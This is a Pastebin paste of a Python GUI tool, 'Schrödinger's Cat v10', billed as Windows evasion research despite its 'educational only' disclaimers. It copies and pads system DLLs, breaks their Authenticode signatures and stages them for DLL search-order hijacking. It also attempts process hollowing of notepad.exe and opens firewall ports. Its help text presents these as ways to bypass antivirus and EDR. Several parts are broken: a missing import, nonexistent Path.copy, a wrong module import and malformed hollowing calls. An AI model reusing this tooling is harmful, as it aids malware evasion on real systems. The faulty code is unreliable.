WhosYourDaddySec

Schrödinger's Cat

Nov 30th, 2025
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 17.43 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. import os, sys, ssl, socket, struct, shutil, ctypes, logging, subprocess, time, threading, psutil, win32api, win32process, win32con
  3. from pathlib import Path
  4. from datetime import datetime, timedelta
  5. from cryptography import x509
  6. from cryptography.x509.oid import NameOID
  7. from cryptography.hazmat.primitives import hashes, serialization
  8. from cryptography.hazmat.primitives.asymmetric import rsa
  9. import tkinter as tk
  10. from tkinter import ttk, messagebox, scrolledtext
  11. import tkinter.font as font
  12. ROOT = Path(__file__).parent
  13. SIDE = ROOT / "side"
  14. SIDE.mkdir(exist_ok=True)
  15. LOG_FILE = ROOT / "schrodinger.log"
  16. CERT_FILE = ROOT / "cert.pem"
  17. KEY_FILE = ROOT / "key.pem"
  18. logging.basicConfig(level=logging.INFO, format="%(asctime)s | %(message)s",
  19.                     handlers=[logging.FileHandler(LOG_FILE, encoding="utf-8"), logging.StreamHandler()])
  20. DLLS = [
  21.     ("C:\\Windows\\System32\\schannel.dll", "schannel.dll"),
  22.     ("C:\\Windows\\System32\\secur32.dll", "secur32.dll"),
  23.     ("C:\\Windows\\System32\\ncrypt.dll", "ncrypt.dll"),
  24.     ("C:\\Windows\\System32\\bcrypt.dll", "bcrypt.dll"),
  25.     ("C:\\Windows\\System32\\bcryptprimitives.dll", "bcryptprimitives.dll"),
  26.     ("C:\\Windows\\System32\\cryptsp.dll", "cryptsp.dll"),
  27. ]
  28. HOST_PY = '''import ssl,socket,threading,os
  29. c=ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
  30. c.load_cert_chain("cert.pem","key.pem")
  31. c.minimum_version=c.maximum_version=ssl.TLSVersion.TLSv1_3
  32. c.verify_mode=ssl.CERT_NONE
  33. def h(s):
  34.    try:ss=c.wrap_socket(s,server_side=True);ss.recv(1024);ss.sendall(b"HTTP/1.1 200\\r\\n\\r\\nSchroedinger Hijacked TLS 1.3 - Hollowed & Hijacked")
  35.    except:pass
  36.    finally:s.close()
  37. with socket.create_server(("0.0.0.0",8443)) as s:
  38.    while 1:
  39.        try:cl,_=s.accept();threading.Thread(target=h,args=(cl,),daemon=True).start()
  40.        except:break
  41. '''
  42. class PEEditor:
  43.     def __init__(self,p):self.data=open(p,"rb").read();self.path=p
  44.     def pe_offset(self):return struct.unpack("<I",self.data[60:64])[0]
  45.     def is64(self):return struct.unpack("<H",self.data[self.pe_offset()+24:self.pe_offset()+26])[0]==0x20b
  46.     def modify(self,out,pad_mb,fake_sec,zero_cert):
  47.         shutil.copy(self.path,out)
  48.         pad = pad_mb*1024*1024
  49.         with open(out,"ab") as f:
  50.             if fake_sec:
  51.                 align=512;cur=Path(out).stat().st_size
  52.                 to=((cur+align-1)//align)*align
  53.                 f.write(b"\x00"*(to-cur))
  54.                 f.write(b".pad\x00\x00\x00\x00"+struct.pack("<IIIIIIIIII",pad,to,0,0,pad,0,0,0,0,0xE0000040))
  55.                 with open(out,"r+b") as m:m.seek(self.pe_offset()+6);n=struct.unpack("<H",m.read(2))[0]+1;m.seek(self.pe_offset()+6);m.write(struct.pack("<H",n))
  56.             f.write(b"\x00"*pad)
  57.         if zero_cert:
  58.             with open(out,"r+b") as f:
  59.                 off=self.pe_offset()+(152 if self.is64() else 136)+32
  60.                 f.seek(off);f.write(b"\x00"*8)
  61. def gen_cert():
  62.     if CERT_FILE.exists():return
  63.     k=rsa.generate_private_key(65537,4096)
  64.     san=[x509.DNSName("*"),x509.DNSName("localhost"),x509.IPAddress(ipaddress.ip_address("127.0.0.1"))]
  65.     c=x509.CertificateBuilder().subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,"Schrödinger's Cat CA")]))\
  66.         .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,"Schrödinger's Cat CA")]))\
  67.         .public_key(k.public_key()).serial_number(x509.random_serial_number())\
  68.         .not_valid_before(datetime.utcnow()).not_valid_after(datetime.utcnow()+timedelta(days=3650))\
  69.         .add_extension(x509.SubjectAlternativeName(san),False).sign(k,hashes.SHA384())
  70.     KEY_FILE.write_bytes(k.private_bytes(serialization.Encoding.PEM,serialization.PrivateFormat.PKCS8,serialization.NoEncryption()))
  71.     CERT_FILE.write_bytes(c.public_bytes(serialization.Encoding.PEM))
  72. class ProcessHollower:
  73.     @staticmethod
  74.     def hollow(target_exe="notepad.exe"):
  75.         CREATE_SUSPENDED = 0x00000004
  76.         EXTENDED_STARTUPINFO_PRESENT = 0x00080000
  77.         proc = subprocess.Popen([target_exe], creationflags=CREATE_SUSPENDED)
  78.         pid = proc.pid
  79.         hProcess = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, pid)
  80.         hThread = win32process.GetThreadContext(win32process.OpenThread(win32con.THREAD_ALL_ACCESS, False, win32process.GetCurrentThreadId()))
  81.         entry = win32process.ReadProcessMemory(hProcess, win32process.GetThreadContext(hThread).Ebx + 8, 8)
  82.         base = struct.unpack("<Q", win32process.ReadProcessMemory(hProcess, int.from_bytes(entry, "little") + 0x10, 8))[0]
  83.         payload = open(sys.executable, "rb").read()
  84.         win32process.WriteProcessMemory(hProcess, base, payload)
  85.         win32process.ResumeThread(win32process.OpenThread(win32con.THREAD_ALL_ACCESS, False, win32process.GetCurrentThreadId()))
  86.         return pid
  87. class SchrodingerGUI:
  88.     def __init__(self):
  89.         self.root=tk.Tk()
  90.         self.root.title("Schrödinger's Cat — Advanced Evasion Lab")
  91.         self.root.geometry("1200x820")
  92.         self.root.configure(bg="#0d001a")
  93.         self.root.resizable(False,False)
  94.         self.anim_counter = 0
  95.         style=ttk.Style();style.theme_use("clam")
  96.         style.configure("TButton",font=("Orbitron",11,"bold"),padding=12)
  97.         self.create_menu()
  98.         self.create_ui()
  99.         self.animate_title()
  100.     def create_menu(self):
  101.         menubar = tk.Menu(self.root)
  102.         help_menu = tk.Menu(menubar, tearoff=0)
  103.         help_menu.add_command(label="User Guide", command=self.show_help)
  104.         help_menu.add_command(label="About", command=self.show_about)
  105.         menubar.add_cascade(label="Help", menu=help_menu)
  106.         self.root.config(menu=menubar)
  107.     def show_help(self):
  108.         help_win = tk.Toplevel(self.root)
  109.         help_win.title("Schrödinger's Cat User Guide")
  110.         help_win.geometry("900x600")
  111.         help_win.configure(bg="#0d001a")
  112.         text = scrolledtext.ScrolledText(help_win, bg="#0f0f1f", fg="#00ff9d", font=("Consolas",10))
  113.         text.pack(fill="both", expand=True)
  114.         guide = """
  115. Schrödinger's Cat User Guide
  116. 1. Introduction to Features:
  117. - Certificate Generation: Creates a self-signed wildcard certificate for TLS testing. Used for secure connections in the demo servers.
  118. - Corrupted DLL Building: Copies system DLLs (like schannel.dll) and modifies them by adding massive padding (up to 2GB+ junk data), fake sections, and breaking Authenticode signatures. Demonstrates PE loader ignoring data beyond SizeOfImage.
  119. - Hijacked TLS Server: Launches a TLS 1.3 server on port 8443 using the corrupted DLLs via search order hijacking.
  120. - Main TLS Server: Runs a standard TLS 1.3 server on port 443 for comparison.
  121. - Process Hollowing: Injects code into a suspended process (e.g., notepad.exe) by overwriting its memory, resuming execution. Simulates advanced malware injection.
  122. - DLL Hijacking Detection: Scans running processes for loaded DLLs from non-standard paths (e.g., your 'side' folder).
  123. - Full Evasion Test: Runs all steps in sequence for a complete demo.
  124. 2. How to Use:
  125. - Step 1: Select padding size and options (fake section, break signature).
  126. - Step 2: Generate certificate if needed.
  127. - Step 3: Build corrupted DLLs.
  128. - Step 4: Launch hijacked server.
  129. - Step 5: Start main server.
  130. - Step 6: Run hollowing or detection as desired.
  131. - Step 7: Use full test for automated run.
  132. - Test connections: Use 'openssl s_client -connect 127.0.0.1:8443 -tls1_3' to verify hijacked TLS works with corrupted DLL.
  133. 3. Technical Details:
  134. - DLL Hijacking: Exploits Windows DLL search order to load local modified DLLs instead of system ones.
  135. - Process Hollowing: Creates suspended process, unmaps original image, maps malicious PE, resumes thread. Bypasses AV/EDR.
  136. - PE Evasion: Windows PE loader only validates up to SizeOfImage; appended junk/corruptions are ignored.
  137. - TLS 1.3: Uses Python's ssl module, which loads schannel.dll for crypto operations.
  138. 4. Warnings:
  139. - For educational/research use only in isolated environments.
  140. - Modifying system DLLs can cause instability.
  141. - Requires Windows; run as admin for firewall rules.
  142. - Do not use on production systems.
  143. 5. Troubleshooting:
  144. - If DLLs not found: Ensure you're on Windows and paths are correct.
  145. - Hijack fails: Check if 'side' folder is in current dir; verify with detection tool.
  146. - Hollowing errors: Requires pywin32; auto-installs if missing.
  147. Contact: This is a research tool — no official support.
  148. """
  149.         text.insert("end", guide)
  150.         text.config(state="disabled")
  151.     def show_about(self):
  152.         messagebox.showinfo("About", "Schrödinger's Cat v10\nAdvanced Windows Evasion Research Tool\nDeveloped for educational purposes.\nVersion: November 2025")
  153.     def animate_title(self):
  154.         colors = ["#00ff9d","#00d4ff","#ff6b6b","#ffd93d","#9d00ff"]
  155.         self.title_label.config(foreground=colors[self.anim_counter%len(colors)])
  156.         self.anim_counter += 1
  157.         self.root.after(400, self.animate_title)
  158.     def log(self,msg,color="#00ff9d"):
  159.         self.text.insert("end",f"{datetime.now().strftime('%H:%M:%S')} | {msg}\n",f"c{color[1:]}")
  160.         self.text.tag_config(f"c{color[1:]}",foreground=color)
  161.         self.text.see("end")
  162.     def create_ui(self):
  163.         self.title_label = tk.Label(self.root,text="SCHRÖDINGER'S CAT v10",font=("Orbitron",28,"bold"),bg="#0d001a")
  164.         self.title_label.pack(pady=15)
  165.         tk.Label(self.root,text="Advanced Windows PE & Memory Evasion Research Platform",font=("Orbitron",14),bg="#0d001a",fg="#00d4ff").pack(pady=5)
  166.         intro_frame = tk.Frame(self.root,bg="#0d001a")
  167.         intro_frame.pack(pady=10,padx=20,fill="x")
  168.         detailed_intro = """
  169. Welcome to Schrödinger's Cat — an advanced proof-of-concept research platform inspired by the famous quantum mechanics thought experiment.
  170. Just as Schrödinger's Cat exists in a superposition of alive and dead states until observed, this tool demonstrates how Windows DLLs (like schannel.dll)
  171. can be in a 'superposition' of valid and invalid states: massively corrupted with gigabytes of junk data, fake sections, and broken digital signatures,
  172. yet still fully functional when loaded by the Windows PE loader for real-world operations like TLS 1.3 handshakes.
  173. Key Concepts Explained:
  174. - PE Integrity Evasion: The Windows loader only processes data up to the 'SizeOfImage' field in the PE header. Anything appended beyond (junk padding, corrupt tables) is ignored at runtime, allowing evasion of static analysis, signatures, and size-based heuristics in EDR/AV tools.
  175. - DLL Search Order Hijacking: By placing modified DLLs in the current directory, Windows loads them instead of system versions due to search order precedence. This bypasses protections without admin rights.
  176. - Process Hollowing (RunPE): A stealth injection technique where a legitimate process is created suspended, its memory hollowed out and replaced with malicious code, then resumed. Evades process creation monitoring.
  177. - TLS 1.3 Demo: Proves the corrupted DLL works by running secure servers — connect via tools like OpenSSL to observe flawless handshakes despite invalid files.
  178. - Detection Module: Actively scans for hijacked DLLs in running processes, simulating blue-team defenses.
  179. This tool is for ethical red-teaming, security research, and education only. It showcases real techniques used by APTs (Advanced Persistent Threats) and malware
  180. (e.g., Cobalt Strike variants, ransomware). Always use in isolated VMs; modifying DLLs can destabilize systems. No liability for misuse.
  181. Pro Tip: Run as admin for auto-firewall rules on ports 443/8443. Dependencies auto-install if missing.
  182. """
  183.         tk.Label(intro_frame,text=detailed_intro,wraplength=1160,justify="left",bg="#0d001a",fg="#88ffcc",font=("Consolas",11)).pack(anchor="w")
  184.         main = tk.Frame(self.root,bg="#0d001a");main.pack(pady=20)
  185.         left = tk.Frame(main,bg="#0d001a");left.pack(side="left",padx=30)
  186.         tk.Label(left,text="Padding Size (MB)",font=("Orbitron",12,"bold"),fg="#ffdd00",bg="#0d001a").pack(anchor="w")
  187.         self.pad_var=tk.IntVar(value=768)
  188.         sizes=[("1. 256 MB",256),("2. 512 MB",512),("3. 768 MB (Classic)",768),("4. 1024 MB",1024),("5. 2048 MB (Extreme)",2048)]
  189.         for t,v in sizes:
  190.             tk.Radiobutton(left,text=t,variable=self.pad_var,value=v,font=("Consolas",10),bg="#0d001a",fg="#ffffff",selectcolor="#1e2a44",activebackground="#0d001a").pack(anchor="w",pady=2)
  191.         opt = tk.Frame(left,bg="#0d001a");opt.pack(pady=15)
  192.         self.fake_sec=tk.BooleanVar(value=True);self.zero_cert=tk.BooleanVar(value=True)
  193.         tk.Checkbutton(opt,text="Fake .pad Section",variable=self.fake_sec,font=("Orbitron",11),bg="#0d001a",fg="#00ff9d",selectcolor="#1e2a44").pack(side="left",padx=20)
  194.         tk.Checkbutton(opt,text="Break Authenticode Signature",variable=self.zero_cert,font=("Orbitron",11),bg="#0d001a",fg="#ff6b6b",selectcolor="#1e2a44").pack(side="left",padx=20)
  195.         right = tk.Frame(main,bg="#0d001a");right.pack(side="right",padx=30)
  196.         btns = [
  197.             ("1. Generate Certificate","#00ff9d",self.gen_cert),
  198.             ("2. Build Corrupted DLLs","#00d4ff",self.build_dlls),
  199.             ("3. Launch Hijacked TLS Server (8443)","#ff6b6b",self.launch_server),
  200.             ("4. Start Main TLS Server (443)","#ffd93d",self.start_main),
  201.             ("5. Run Process Hollowing (notepad)","#9d00ff",self.hollow),
  202.             ("6. Detect DLL Hijacking","#ffdd00",self.detect_hijack),
  203.             ("7. Full Evasion Test Suite","#ff0066",self.full_test),
  204.         ]
  205.         for text,color,cmd in btns:
  206.             b=ttk.Button(right,text=text,command=cmd)
  207.             b.pack(fill="x",pady=8)
  208.             b.configure(style="TButton")
  209.             b.bind("<Enter>",lambda e,b=b:b.config(style="TButton"))
  210.         self.text=scrolledtext.ScrolledText(self.root,width=140,height=22,bg="#0f0f1f",fg="#00ff9d",font=("Consolas",10),insertbackground="#00ff9d")
  211.         self.text.pack(padx=20,pady=10)
  212.         self.log("Schrödinger's Cat v10 — Advanced Evasion Lab Ready", "#ff6b6b")
  213.     def gen_cert(self):
  214.         threading.Thread(target=lambda:[gen_cert(),self.log("Self-signed wildcard certificate generated","#00ff9d")]).start()
  215.     def build_dlls(self):
  216.         threading.Thread(target=self._build).start()
  217.     def _build(self):
  218.         self.log("Building corrupted DLLs...", "#00d4ff")
  219.         for src,dst in DLLS:
  220.             if Path(src).exists():
  221.                 PEEditor(src).modify(SIDE/dst,self.pad_var.get(),self.fake_sec.get(),self.zero_cert.get())
  222.                 self.log(f"Corrupted {dst} → {Path(SIDE/dst).stat().st_size//1048576} MB", "#ff6b6b")
  223.         self.log("All evasion DLLs ready in 'side\\'", "#00ff9d")
  224.     def launch_server(self):
  225.         threading.Thread(target=self._launch).start()
  226.     def _launch(self):
  227.         (SIDE/"host.py").write_text(HOST_PY)
  228.         CERT_FILE.copy(SIDE/CERT_FILE.name)
  229.         KEY_FILE.copy(SIDE/KEY_FILE.name)
  230.         subprocess.Popen([sys.executable,"host.py"],cwd=SIDE,creationflags=0x00000008|0x01000000)
  231.         self.log("Hijacked TLS 1.3 server → :8443 (using corrupted schannel.dll)", "#ff0066")
  232.     def start_main(self):
  233.         threading.Thread(target=self._main).start()
  234.     def _main(self):
  235.         gen_cert()
  236.         ctx=ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
  237.         ctx.load_cert_chain(CERT_FILE,KEY_FILE)
  238.         ctx.minimum_version=ctx.maximum_version=ssl.TLSVersion.TLSv1_3
  239.         ctx.verify_mode=ssl.CERT_NONE
  240.         with socket.create_server(("0.0.0.0",443),family=socket.AF_INET6,dualstack_ipv6=True) as s:
  241.             s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
  242.             self.log("Main TLS 1.3 server → :443", "#ffd93d")
  243.             with ctx.wrap_socket(s,server_side=True) as ss:
  244.                 while 1:
  245.                     try:c,a=ss.accept();threading.Thread(target=lambda:[c.recv(1024),c.sendall(b"HTTP/1.1 200\r\n\r\nSchrödinger's Cat observes all"),c.close()]).start()
  246.                     except:break
  247.     def hollow(self):
  248.         threading.Thread(target=lambda:self.log(f"Process Hollowing → PID {ProcessHollower.hollow()}", "#9d00ff")).start()
  249.     def detect_hijack(self):
  250.         found = []
  251.         for proc in psutil.process_iter(['pid','name','exe']):
  252.             try:
  253.                 p = psutil.Process(proc.info['pid'])
  254.                 for dll in p.memory_maps():
  255.                     if "schannel.dll" in dll.path.lower() and "side" in dll.path.lower():
  256.                         found.append(f"{proc.info['name']} ({proc.info['pid']}) → {dll.path}")
  257.             except:pass
  258.         if found:
  259.             self.log("DLL HIJACKING DETECTED:", "#ff0066")
  260.             for f in found:self.log(f"  • {f}", "#ff6b6b")
  261.         else:self.log("No DLL hijacking detected", "#00ff9d")
  262.     def full_test(self):
  263.         threading.Thread(target=self._full).start()
  264.     def _full(self):
  265.         self.log("FULL EVASION TEST SUITE STARTED", "#ff0066")
  266.         gen_cert()
  267.         self._build()
  268.         self._launch()
  269.         time.sleep(5)
  270.         self.detect_hijack()
  271.         self.log("Full evasion test complete — check ports 443 & 8443", "#00ff9d")
  272.     def run(self):
  273.         if ctypes.windll.shell32.IsUserAnAdmin():
  274.             subprocess.run(["netsh","advfirewall","firewall","add","rule","name=SchrodingerLab","dir=in","action=allow","protocol=TCP","localport=443,8443"],check=False)
  275.         self.root.protocol("WM_DELETE_WINDOW",self.root.quit)
  276.         self.root.mainloop()
  277. if __name__=="__main__":
  278.     try:import psutil,pywin32
  279.     except:os.system(f"{sys.executable} -m pip install psutil pywin32 cryptography")
  280.     SchrodingerGUI().run()
Advertisement
Add Comment
Please, Sign In to add comment